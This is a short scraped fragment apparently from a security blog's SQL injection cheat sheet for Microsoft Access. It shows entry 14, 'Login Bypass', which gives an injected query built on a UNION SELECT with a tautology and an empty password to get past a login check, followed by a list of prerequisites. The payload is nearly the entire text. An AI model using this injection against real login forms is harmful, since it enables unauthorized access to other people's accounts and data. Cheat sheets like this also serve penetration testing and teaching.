ffddca76_ess___Milo2012_s_Security_Blog__Prerequisites
[No] 14 [Description] Login Bypass(If the above (No 13) doesn’t work for you [Commands] SELECT * FROM users WHERE username = ‘[username] ‘ UNION SELECT NULL, NULL, NULL FROM users WHERE ‘1’=’1’ and password=’’ [Prerequisites] 
Number of ColumnsTable NameColumn Name
SQL Injection for Microsoft Access | Milo2012's Security Blog
Prerequisites